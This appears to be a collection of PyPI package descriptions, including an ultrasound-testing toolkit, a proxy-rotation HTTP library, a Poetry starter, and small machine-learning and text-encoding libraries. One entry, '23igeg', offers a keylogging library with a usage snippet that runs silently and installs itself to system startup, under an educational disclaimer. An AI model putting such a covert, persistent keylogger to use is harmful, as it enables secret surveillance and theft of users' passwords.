semvec/pypi-packages huggingface dataset:
mini-auspex 1.5.11
Package for processing non-destructive ultrasound testing data

This package contains the functions to process and analyze nondestructive ultrasound tests. Among these codes are tools for reading inspection files from various sources, data preprocessing algorithms, image reconstruction algorithms, and codes for presenting results.
The primary function of each module is described below:
 - `framework.data_types`: contains classes that define data structures other modules use in the mini-auspex package. Data structures store inspection data (such as inspection, part, and transducer parameters), generate regions of interest (ROI), and store results from imaging algorithms.
 - `framework.file_civa`: dedicated to reading CIVA simulator files.
 - `framework.file_m2k`: responsible for reading files that have the .m2k extension. Currently, the module can read files generated by inspections with Multix++ and Panther equipment.
 - `framework.pre_proc`: the algorithms implemented to perform the preprocessing on the inspection data.
 - `framework.post_proc`: functions that apply postprocessing operations to the results provided by image reconstruction algorithms.
 - `imaging.bscan`: implements the B-Scan image reconstruction algorithm.
 - `imaging.saft`: implements the SAFT image reconstruction algorithm.
 - `imaging.tfm`: implements the TFM image reconstruction algorithm.
 - `imaging.cpwc`: implements the CPWC  image reconstruction algorithm.
 - `surface.surface`: implements the module class that identifies the external surface of an object inspected by the immersion technique and also provides propagation times for a set of transducer elements and region of interest (ROI) points.
 - `surface.nonlinearopt`: implements auxiliary functions necessary for surface estimation by the surface class.
 - `parameter_estimation.intsurf_estimation`: algorithms for estimating underwater pipes' internal surface to evaluate these pipes' internal corrosion.
 - `parameter_estimation.cl_estimators`: algorithms for estimating the propagation speed of ultrasonic waves within water.
23igeg 0.1.3
Libreria dimostrativa di keylogging per progetti di sicurezza informatica
Requires Python: >=3.6

# 23igeg

**23igeg** è una libreria Python dimostrativa per il keylogging, creata a scopo informativo e per la ricerca accademica sulla sicurezza informatica.

⚠️ **Attenzione**: questo software è destinato esclusivamente all'uso in ambienti controllati e a fini didattici.

## Installazione

```bash
pip install 23igeg
```

## Uso base

```python
from igeg.logger import KeyLogger

logger = KeyLogger(logfile="log.txt", silent=True)
logger.add_to_startup()
logger.start()
```
ablil 1.2.0
Python package starter with Poetry
Requires Python: <4.0,>=3.12

# Python starter with Poetry

[![CI](https://github.com/ablil/python-starter-poetry/actions/workflows/ci.yaml/badge.svg?event=push)](https://github.com/ablil/python-starter-poetry/actions/workflows/ci.yaml)

This is a ready to use starter for Python packages, clone it and make sure to update:

* pyproject.toml
* README.md

## Develop locally

Start a new virtual env
```shell
poetry shell
```

Install all dependencies (declared on pyproject.toml) from all groups
```shell
poetry install

# only main group
poetry install --only main

# without test group
poetry install --without test
```

Add new dependency
```shell
# add dep to main group
poetry add requests

# add dep to dev group
poetry add black --group dev

# add dep to test group
poetry add pytest --group test
```

## Build and publish

Build package
```shell
poetry build
```

Publish package
```shell
poetry publish
```

Authenticate to PyPI
```shell
poetry config pypi-token.pypi $PYPI_TOKEN
```


# Referencs

[Guide to Python module](https://docs.python.org/3/tutorial/modules.htmldir)
[Python packaging user guide](https://packaging.python.org/en/latest/)
reqproxy 0.1.0
A Python library for making HTTP requests through a rotating set of proxies.
Requires Python: >=3.12

# ReqProxy

A Python library for making HTTP requests through a rotating set of proxies.

## Overview

ReqProxy is a lightweight Python library that provides a simple way to make HTTP requests through a rotating set of proxies. It automatically handles proxy selection and error management, attempting multiple proxies until a successful response is received or all proxies have been tried.

## Features

- Supports all common HTTP methods (GET, POST, PUT, PATCH, DELETE)
- Automatically rotates through a list of proxies
- Handles proxy failures gracefully
- Similar interface to the popular `requests` library
- Configurable timeout and proxy sample size

## Installation

```bash
pip install reqproxy
```

## Usage

### Basic Usage

```python
from reqproxy import ProxyRequests

# List of proxy URLs
proxies = [
    "http://user1:pass1@192.168.1.1:8080",
    "http://user2:pass2@192.168.1.2:8080"
]

# Create a ProxyRequests instance
proxy_req = ProxyRequests(proxy_list=proxies)

# Make a GET request
response = proxy_req.get('https://example.com')
print(response.status_code)  # 200
print(response.text)  # HTML content
```

### Making POST Requests with JSON Data

```python
from reqproxy import ProxyRequests

proxies = ["http://user:pass@proxy.example.com:8080"]
proxy_req = ProxyRequests(proxy_list=proxies, timeout=5.0)

# JSON data to send
data = {"username": "test_user", "password": "test_pass"}

# Make a POST request with JSON data
response = proxy_req.post('https://api.example.com/login', json=data)
result = response.json()
```

### Using Custom Parameters and Headers

```python
headers = {"User-Agent": "Custom User Agent"}
params = {"page": 1, "limit": 10}

response = proxy_req.get(
    'https://api.example.com/products',
    params=params,
    headers=headers
)
```

## Configuration Options

When creating a `ProxyRequests` instance, you can configure the following options:

- `proxy_list` (required): A list of proxy URLs with the format "http://user:pass@ip:port"
- `proxy_sample_size` (optional): The number of proxies to sample for each request (default: 10)
- `timeout` (optional): The timeout for requests in seconds (default: 10.0)

## Error Handling

If all proxies fail, a `ProxyRequestException` is raised containing all the individual errors:

```python
from reqproxy import ProxyRequests, ProxyRequestException

try:
    proxy_req = ProxyRequests(proxy_list=["http://invalid.proxy:8080"])
    response = proxy_req.get('https://example.com')
except ProxyRequestException as e:
    print(f"All proxies failed: {e}")
    # Access individual errors
    for error in e.errors:
        print(f"Error: {error}")
```

## Requirements

- Python 3.12+
- requests library

## License

This project is licensed under the terms of the MIT license.
biomimetic 0.4.7
A Python library for biomimetic cell models in neural networks.
Requires Python: >=3.6
Keywords: biomimetic neural networks machine learning

# Biomimetic

## A Python library for biomimetic cell models in neural networks

Refer to the three papers: [Bio-mimetic approach in digital artificial neuro-science](https://ieeexplore.ieee.org/document/7560120) [Biomimetic Cells: A New Frontier in Brain Informatics](https://ieeexplore.ieee.org/abstract/document/8603044) [Advanced Biomimetic Cells Architecture for Parallel Operations in Artificial Intelligence](https://ieeexplore.ieee.org/abstract/document/8851116)
dll-lib 1.0
A deep and machine learning library. Made for learning purposes and ease of understanding.
Requires Python: >=3.11.9

# DLL (Deep Learning Library)

DLL is a deep learning library inspired by TensorFlow and PyTorch. This is my largest project to date, featuring thousands of lines of code. It encompasses a wide range of deep learning and machine learning methods, and includes numerous examples and tests to demonstrate their usage. Feel free to explore the source code and experiment with the models using the documentation.

## Documentation:

Checkout the documentation of DLL [here](https://naapeli.github.io/deep-learning-library/).

## Upcoming topics:

- embedding layer
- concatenate layer
- multi headed cross attention
- hyperparameter tuning with grid search and random search
- multiclass classification with OvO and OvR

## Running Tests

To run the tests, navigate to the deep-learning-library-folder and use eg. the following command:

```
python -m Tests.ReinforcementLearning.DeepReinforcementLearning
```

Feel free to explore the code and apply it to new problems!
sealib 1.1
A simple text encoder SEA (Simple Encoding Algorithm)
Requires Python: >=3.13
Keywords: SEA, algorithm, decoder, encoder, sea

# SEA: Simple Encoding Algorithm

## How It Works

```python
# import the Encode and Decode classes
from sealib.encoder import Encode
from sealib.decoder import Decode

# Generate some text to encode
text = "Hello, world! The encoder and decoder really works. \n\n"

# Encode the text
encoder = Encode(text)
encoded = encoder.encoded_text()  # get the encoded text

# Decode the text
decoder = Decode(encoded)
decoded = decoder.decoded_text()  # get the decoded text

print("Encoded: ", encoded, end="\n")  # print the encoded text
print("Decoded: ", decoded, end="\n")  # print the decoded text
```